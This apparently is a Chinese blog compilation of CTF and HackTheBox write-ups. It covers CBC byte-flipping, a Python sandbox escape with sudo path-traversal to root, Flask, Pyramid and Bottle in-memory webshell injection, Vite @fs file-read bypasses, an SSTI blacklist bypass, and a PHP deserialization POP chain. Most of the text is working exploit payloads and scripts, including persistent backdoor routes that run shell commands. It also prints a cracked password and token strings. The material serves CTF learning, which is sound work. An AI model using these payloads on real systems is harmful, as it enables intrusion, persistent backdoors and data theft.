CBC字节翻转攻击

CBC字节翻转攻击的核心原理是通过破坏一个比特的密文来篡改一个比特的明文。

erwerwerwerwe
$$
由题目得 A⊕B=C
$$
如果我们想要改变输出的明文C 那我们只需要改变秘钥A

令改变后的A为A’ C为C’,于是:

1
2
3
4
5
C'=C⊕C⊕C'
=A⊕B⊕C⊕C'
=B⊕A⊕C⊕C'
令A'=A⊕C⊕C'
-->C'=B⊕A'-->A'⊕B=C' 翻转成功啦!

所以把A改为A’=A⊕C⊕C’ 我们就可以实现这个字节翻转攻击

测试攻击模拟代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Cipher import AES
import uuid
import binascii

BS = AES.block_size # 分组长度
key = b'test' # 密钥
iv = uuid.uuid4().bytes # 随机初始向量
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() # Pkcs5Padding
data = b'1234567890abcdefabcdef1234567890' # 明文M


# 加密
def enc(data):
aes = AES.new(pad(key), AES.MODE_CBC, iv)
ciphertext = aes.encrypt(pad(data))
ciphertext = binascii.b2a_hex(ciphertext)
return ciphertext


# 解密
def dec(c):
c = binascii.a2b_hex(c)
aes = AES.new(pad(key), AES.MODE_CBC, iv)
data = aes.decrypt(c)
return data


# 测试CBC翻转
def CBC_test(c):
c = bytearray(binascii.a2b_hex(c))
c[0] = c[0] ^ ord('a') ^ ord('A') # c[0]为第一组的密文字符,a为第二组相应位置的明文字符,A是我们想要的明文字符 这一步就是在做 A'=A⊕C⊕C'
c = binascii.b2a_hex(c)
return c


print("ciphertext:", enc(data))
print("data:", dec(enc(data)))
print("CBC Attack:", dec(CBC_test(enc(data))))

输出结果

1
2
3
ciphertext: b'65518dfe77f7d677134f341c5b00c1674e7a87b231f852b63d35ee69dc60bcc7c5b7325b590c00d089b6ad312f21b043'
data: b'1234567890abcdefabcdef1234567890\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'
CBC Attack: b'\xfe\xb4\x11n+\x1a\xb7\x90\x9c\x86TPvS\xd4\x9cAbcdef1234567890\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10'

可以看到第二组密文解密之后已经被我们更改成了A,而由于我们更改了第一组的密文,所以第一组解密的明文变成了乱码。如果我们想要更改第一组的明文,则需要修改初始向量IV的值。

于是达到修改明文的内容的目的:解密出来的内容就会把 'a' 改成 'A'

例题

bugku-login4

题解链接:https://cltheorem.github.io/2019/03/bugku-login/

总结

通过CBC字节翻转攻击,假如我们能够触发加解密过程,并且能够获得每次加密后的密文。那么我们就能够在不知道key的情况下,通过修改密文或IV,来控制输出明文为自己想要的内容,而且只能从最后一组开始修改,并且每改完一组,都需要重新获取一次解密后的数据,要根据解密后的数据来修改前一组密文的值。

参考文章

https://blog.csdn.net/XL115715453/article/details/102442024?spm=1001.2014.3001.5506

https://goodapple.top/archives/217

https://blog.csdn.net/XiongSiqi_blog/article/details/131925246

HTB-code

user

nmap扫描 nmap 10.10.11.62 -sV -A

发现开放了5000端口 访问发现是个在线执行python代码的网页

可以进行命令执行

print(''.__class__.__base__.__subclasses__()[317]('ls /',shell=True,stdout=-1).communicate()[0].strip())

然后直接在上层目录读到user.txt

print(''.__class__.__base__.__subclasses__()[317]('cat ../user.txt',shell=True,stdout=-1).communicate()[0].strip())

root

命令执行

1
2
3
print(''.__class__.__base__.__subclasses__()[317]('ls *',shell=True,stdout=-1).communicate()[0].strip())
#b'app.pyinstance:\ndatabase.db\n\n__pycache__:\napp.cpython-38.pyc\n\nstatic:\ncss\n\ntemplates:\nabout.html\ncodes.html\nindex.html\nlogin.html\nregister.html'
发现有instance下有database.db 读一下试试看

于是可以拿到 martin的hash加密后的密码 3de6f30c4a09c27fc71932bfc68474be 就是 nafeelswordsmaster

然后使用ssh登录 ssh martin@10.10.11.62 提示输入密码 输入就好了

输入sudo -l 回显

1
2
3
4
5
6
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh文件内容:

内容大概为三个功能:
1.输入检查,必须传入一个 JSON 文件路径(如 task.json),否则报错。检查文件是否存在。
2.路径过滤使用,jq 移除 directories_to_archive 中所有 ../(防止目录遍历攻击)。允许的路径范围限定在 /var/ 和 /home/。
3.路径权限检查,is_allowed_path() 函数检查路径是否以 /var/ 或 /home/ 开头(防止访问敏感路径如 /root/)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash

if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}

for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done

/usr/bin/backy "$json_file"

task.json

其主要功能是过滤路径并检查允许的目录,先执行一下backy.sh,发现会生成一个压缩包

1
2
3
4
5
6
7
8
9
10
11
12
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],

"exclude": [
".*"
]
}

做法:

将备份目录修改为/home/….//root 并且要删除exclude: [“.*”]

为什么要删除?exclude: [".*"]导致/root文件夹被完全排除

1
2
3
4
5
6
7
8
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root"
]
}

image-20250424172649995

sudo /usr/bin/backy.sh task.json

image-20250424172727484

执行ls 发现生成了压缩包 使用tar -xjf code_home_.._root_2025_April.tar.bz2

再ls 发现生成了root目录 进root目录读root.txt即可

image-20250424172954271

前言:

想法来源于TGCTF的一道题 想具体学习下 内存马究竟是什么东西

Python内存马

众所周知,python下有许多轻型框架,比如 flask Tornado pyramid等 每个框架都基本有其对应的内存马注入的方式

Flask内存马注入

flask框架中使用 render_template_string() 进行渲染,但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现 python 内存马的注入。

老版flask内存马注入

多存在ssti的场景中 如果想要在python中实现内存马 必须想是否能动态注册新路由

flask注册新路由用的是 app.route 实际调用的是add_url_ruel

注意:从下面一直到构造webshell 都是前言知识 为了让你更好理解 内存马的payload

add_url_ruel介绍

app.add_url_rule('/index/',endpoint='index',view_func=index)

三个参数:

url:必须以/开头

endpoint:(站点)

view_func:方法 只需要写方法名也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。

原理

首先是要添加路由成功,然后特别重要的是 view_func中采用匿名函数的方式。该函数要实现捕获值,命令执行,响应。

当一个网页请求后,会实例化一个Request Context。在python中分出了两种上下文,请求上下文(request context)和应用上下文(session context)。一个请求上下文中封装了请求的信息。
而上下文的结构是运用了一个Stack的栈结构,也就是说它拥有一个栈所拥有的全部特性。
request context实例化后,它会被push到栈_request_ctx_stack中,那我们可以通过获取栈顶元素的方法来获取当前的请求。

1
Request=_request_ctx_stac.top

lambada表达式

链接:https://www.runoob.com/python3/python-lambda.html

Flask上下文管理机制

1
2
3
4
5
在使用 Flask 框架实现功能接口的时候,前端点击按钮发送请求的请求方式和 form 表单提交给后端的数据,后端都是通过 Flask 中的 request 对象来获取的。

在 Flask 框架中,这种传递数据的方式被称为上下文管理,在 Flask 框架中有四个上下文管理对象:request ,session,current_app 和 g 变量。

其中request 和 session 被称为请求上下文,current_app 和 g 变量被称为应用上下文。

其实一句话理解就是:Flask 的上下文机制是为了解决“请求中相关的数据需要在多个函数中使用,但又不想手动层层传参”的问题。

请求上下文 (request context)

Flask上下文对象相当于一个容器。保存了Flask程序运行过程的一些信息,比如请求方式和表单数据。

1.request

在 Flask 中,request 对象封装了 HTTP 请求的内容,针对的是 HTTP 请求,保存了当前请求的相关数据。

2.session

session和cookie都是用来做状态保持 但是cookie依赖于浏览器,但是session不需要。

应用上下文 (application context)

应用上下文不是一直存在的,他是临时的,发送请求才会有应用上下文,请求结束后就会失效。

1.curent_app

current_app 是应用程序上下文,用于存储 Flask 应用程序 app 中的变量,可以在 current_app 中存储一些变量。

2.g变量

gAppContext 中的临时全局变量,每个请求独立,适合用于存储数据库连接、缓存等中间件资源。会随着请求的结束而销毁。

核心两个栈

类型 名称 存什么
请求上下文栈 _request_ctx_stack 包含 request, session, g
应用上下文栈 _app_ctx_stack 包含 current_app, g

eval用法eval(expression, globals=None, locals=None)

expression(必需):python表达式 执行并访问执行的结果

globals(可选):这是一个字典,它提供了执行表达式时可用的全局变量。如果没有提供,eval() 默认使用调用时的全局作用域(即当前环境中的全局变量)

locals(可选):这是一个字典,表示执行表达式时可用的局部变量。如果没有提供,eval() 默认使用当前作用域中的局部变量。

内存马写法

1
2
3
4
5
6
7
8
9
10
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}

(1)url_for.__globals__['__builtins__'] Python 中内置的全局函数和对象,包括 print()eval() 等。通过这一步,你可以访问内置的 eval() 函数

(2)( "app.add_url_rule( '/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read() )"

创建一个新路由 /shell 在这个/shell 获取请求中的cmd参数 如果没有提供cmd参数 就默认执行whoami命令

(3){ '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app'] }

这是eval的函数第二个参数 其实就是字典 允许在执行表达式时使用 Flask 特有的变量和对象

Flask 的上下文管理使用了栈结构,通过将 _request_ctx_stackapp 放到上下文字典中,eval() 就可以访问到当前的请求上下文和应用对象,进而执行动态生成的代码。这使得攻击者可以利用这种机制执行恶意的操作(比如执行传入的命令)。

新版flask内存马注入

新版已经不支持通过add_url_rule添加路由了,所以要考虑用其他的方法来代替add_url_rule 使用@app.before_request

@app.before_request

在response(响应)之前做响应

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask
from flask import request
from flask import redirect
from flask import session

app = Flask(__name__) # type:Flask
app.secret_key = "DragonFire"


@app.before_request
def is_login():
if request.path == "/login":
return None

if not session.get("user"):
return redirect("/login")


@app.route("/login")
def login():
return "Login"


@app.route("/index")
def index():
return "Index"


@app.route("/home")
def home():
return "Login"

app.run("0.0.0.0", 5000)

image-20250417154155980

查看这个定义 发现

self.before_request_funcs.setdefault(None, []).append(f)

意思:将函数 f 注册为全局的 before_request 钩子,在每次请求处理前自动调用

[钩子函数是一种“插入点”,让你在程序的某些关键时刻执行自定义逻辑]

意思就是我们可以传入一个lambada函数来执行命令!lambda :__import__('os').popen('whoami').read()

构造poc:eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")

!!!!这样在每次response之前都会执行lambada函数来执行命令~~~

尝试本地起服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/')
def index():
return 'Home Page'

@app.route('/e')
def inject_memory_shell():
cmd = request.args.get('cmd')
try:
# 使用 eval 动态注入代码
eval(cmd)
return 'Payload injected successfully'
except Exception as e:
return f'Error: {e}'

@app.before_request
def trigger_hook():
pass # 所有注入的 before_request 都会自动执行

if __name__ == '__main__':
app.run(debug=True)

image-20250417163201553

随意访问一个目录 得到

image-20250417163250131

执行命令成功啦!喜!

@app.after_request

在response(响应)之后做出响应

1
2
3
4
5
@app.after_request
def foot_log(environ):
if request.path != "/login":
print("有客人访问了",request.path)
return environ

image-20250417164109472

这里也是和前面的差不多 但是要定义一个返回值 不然会报错

eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, request, make_response

app = Flask(__name__)

# 注入点:可动态注入 payload
@app.route('/e')
def inject_memory_shell():
cmd = request.args.get('cmd')
try:
eval(cmd)
return 'Payload injected successfully'
except Exception as e:
return f'Error: {e}'

# 初始钩子:占位
@app.after_request
def default_after(resp):
return resp

# 主页面
@app.route('/')
def index():
return 'Home Page'

if __name__ == '__main__':
app.run(debug=True)

image-20250417172055122

image-20250417172224797

bingo!成功

1
2
3
4
5
参考文章
https://xz.aliyun.com/news/13858
https://www.cnblogs.com/gxngxngxn/p/18181936
https://research.qianxin.com/archives/2329
https://blog.csdn.net/solitudi/article/details/115331388

Pyamid内存马

例题详见 TGCTF20245 熟悉的配方* 或者 强网杯决赛Pyramid

利用栈帧打Pyramid WEB框架下的内存马

栈帧

不懂得详情看:https://blog.csdn.net/Jesse_Kyrie/article/details/139789665

1
栈帧(Stack Frame)是 Python 虚拟机 中程序执行的载体之一,也是 Python 中的一种执行上下文。 每当 Python 执行一个函数或方法时,都会创建一个栈帧来表示当前的函数调用,并将其压入一个称为 调用栈 (Call Stack)的数据结构中。 调用栈是一个后进先出(LIFO)的数据结构,用于管理程序中的函数调用关系。 栈帧的创建和销毁是动态的,随着函数的调用和返回而不断发生

构造内存马

Pyramid WEB新框架下的内存马发现是通过pyramid.config来生成的,因为pyramid.config里有add_view add_route,可以用来注册路由。

所以我们要那到这个config,所以得获取到栈帧的globals全局才能拿到当前的app config

先看下面这段代码,这个就是为了获取config那个栈帧

1
2
3
4
5
6
7
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
print(b)

然后拿到这个栈帧过后 就访问config添加新路由了

下面定义了一个新hello函数

1
2
3
4
5
6
7
def hello(request):        
code = request.POST['code']
res=eval(code)
return Response(res)
config.add_route('shell', '/shell') #添加新路由
config.add_view(hello, route_name='shell') #给/shell路由绑定视图hello
config.commit() #立即更新服务 而不是手动重启 这样才能够生效

整合一下payload就是

1
2
3
4
5
6
7
def waff():  
def f(): yield g.gi_frame.f_back
g = f() frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request): code = request.POST['code'] res=eval(code) return Response(res)
config.add_route('shell', '/shell') config.add_view(hello, route_name='shellb') config.commit()
waff()

TGCTF2025 熟悉*

payload写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from urllib.parse import quote
code='''def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
def hello(request):
code = request.params['code']
res=eval(code)
return Response(res)

config.add_route('shellb', '/shellb')
config.add_view(hello, route_name='shellb')
config.commit()

waff()
'''
url="YOUR_URL"
data={"expr":f"{code}+111"}
res=requests.post(url=url,data=data)
print(res.text)

强网杯pyramid脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
from urllib.parse import quote
code='''def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = next(g)
b = frame.f_back.f_back.f_globals
print(b)

waff()
'''

code1="print(1)"
burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWCL5zrymkRlSJ4Lvl%2BAysBf1d8NIRmFQRJ0P3ceKEpn7rGGUpICNmQ9yYf77FHJcVX2hJQ4YodabxiavEMlgYkeDelNPgmohkG%2F3sk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2B90UOOPDlJdnaBj22b4oIoMKVbYNuJFkAjqbCW8dVdLxX35VVonnFW5VfJ7tcepTt1irmtnL%2FEgVb94yqAr3YtJRSIRHJr79t46PLs8bpG9m3kOjtwtxrUz9g%3D%3D.UlM%3D.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwemJKUWRqWlEyL3pGeFVZc2I2YQo4YnljREhtSzQ2QXpaa25aQXJxMFFKekE5Ri9EWXFxRk5KanpTeHk0WmZqbmk4TlprRmduM2REWXdCU0JUWjZKClc3VW1waWVDZXcza3o5cy9GMENRdUxCY0dKMTd0M2RPVWRRVVpSVnJXUkhBeE1aL0Y2VFFSUWMvUkFVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Priority": "u=0, i"}
res=requests.get(burp0_url, headers=burp0_headers)
print(res.text)

bottle内存马

参考文章:https://forum.butian.net/share/4048

这里直接记录几种做法

1.直接绑定路由

payload

1
2
app.route("/b","GET",lambda :__import__('os').popen(request.params.get('a')).read()) #直接访问/b路由 a参数可以进行rce

2.利用报错界面 污染报错界面

payload

1
app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())

3.利用add_hook

add_hook就是注册钩子函数

image-20250418134610602

1
2
3
4
5
#reaponse
app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))

#abort
app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

结语

学习python内存马先告一段落了 有很多其他模板的内存马 以后遇到了再来补全吧~~~

AAA偷渡阴平

1
2
3
4
5
6
7
8
9
<?php


?>
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg--

前端GAME

进去是个小游戏 本来以为是正常思路 但是怎么都做不出 于是题目是个vue框架的游戏 于是搜索 发现有关于这个的漏洞

漏洞文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

Vite存在CVE-2025-30208安全漏洞(附修复方案和演示示例)

Vite漏洞原理

Vite在开发服务器模式下,提供了@fs功能,原本是为了让开发者访问服务允许范围内的文件。正常情况下,如果请求的文件超出了这个允许范围,Vite应该返回“403 Restricted”,提示访问受限。但攻击者发现了一个“漏洞”,当在请求URL中添加?raw???import&raw??这样的特殊参数时,就能绕过原本的文件访问限制检查。

原因:Vite在处理请求的多个环节中,会移除类似?的结尾分隔符,但在查询字符串的正则匹配过程中,却没有考虑到这种特殊情况,这就给攻击者可乘之机,他们利用这个缺陷,就能读取目标文件的内容

题目解法

直接按照他给的payload /@fs/tgflagggg?import&raw??

前端GAME Plus

上一道题的payload不可行了

文章未公开的poc:可以通过svg来进行文件读取 /@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

image-20250414204645766

得到VEdDVEZ7ZmUxM2MzZGYtYzNkNC1hYjJhLTQwZjYtNjNjYjM1MzczNjAyfQo=

base64解码 TGCTF{fe13c3df-c3d4-ab2a-40f6-63cb35373602}

前端GAME Ultra

plus的payload也不可以

/@fs/app#/../proc/self/environ读环境变量

也可以 /@fs/app/vite-project/#/../../../../../tgflagggg

直面天命

访问/hint 提示是一个四个小写英文字母的路由 爆出来是/aazz路由

进去f12 看到说是可以传参数 but不知道参数是什么 那就arjun爆破吧 爆出来是filename

看到fillename参数 一般会考虑到ssrf 就像name是ssti一样

传入?filename=/etc/passwd

可以读取 尝试读取环境变量

?filename=/proc/1/environ

也可以直接读/flag

直面天命(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

审计源码 黑名单

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

把{}ban了 但是天命和难违可以替换为

所以直接按照黑名单 打ssti就可

最后payload

1
天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /t*'))['r''ead']()难违

火眼辩魑魅

进去dirsearch扫描网站 看到robots.txt 访问得到很多路由 说是只有一个能到

直接到/tgshell.php打rce即可

post传入· shell=print \cat /t*`;`

image-20250414134522190

因为是一句话木马 也可以直接使用蚁剑连接 然后也可得到flag

什么文件上传?

进去是文件上传 发现传什么都被ban 于是dirsearch了一下网站 robots.txt里有东西

[图片]

访问/class.php 发现是是反序列化并且有漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard(); //1
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better; //2
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]); //3
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

理一下大概的链子顺序

yesterday::destruct(study=new today)-> today::__call(doing=new future)-> future::__tostring

然后post传入wow就可以进行命令执行 但是有个注意点

1
2
3
4
5
6
    function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
......
unserialize(best64_decode($data));

序列化后的数据还要base_encode 5次传入

pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();
echo serialize($aa);
?>

image-20250414133152637

null替换为%00就行了 因为private属性的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZ
XUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0
pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVM
nMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVW
M00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlV
iSGRWTWpCNFlURmtSMU5ZYUZwTmFrWllXVEJrUzFkV1JuVlhiWEJPVFVSV00xWXhZM2hPUjBwR1lraE
dhMU5JUWxGWlYzUnlaVVpSZVdKRmRGUldNR3cyVjFSS2ExZHJNWEpYYWtaVVZsZG9lbHBITVZOV1JrW
jBUbGRHV0ZKclduVlhWbFpyVmpKV1YyTkdWbEJTUjJoaFdXMTBjbU5zVGxoalJFSnNZWHBzZUZWc2FH
OVZSMFpXWTBoU1lWSnRhRlJVVm1SUFpFWmFkVmR0ZEZoU2ExcDNWa2h3UWsxRk5IbFVhbHBwVFRKb1Q
xVnJZelZqUm1SMFRsWmtUbEl4U2xwVk1qRTBZVmRLVldGSVFsVmxhMFYzVkdwS1QwNXRTalpVYkVKb1
ZsYzVORmRZY0V0V01rcFlWV3hvYTAweWFFdFpWelZUVlVaU05sUnJOVTloZWxVeVdXcEtjMkV4WkVaT
1dFNVlZbFJXV0ZsNlFYaGpSazVWV2taV2FHSnNTVEpXUkVwM1lXczFjbUpJVmxkaWJrSm9WbXBHZG1W
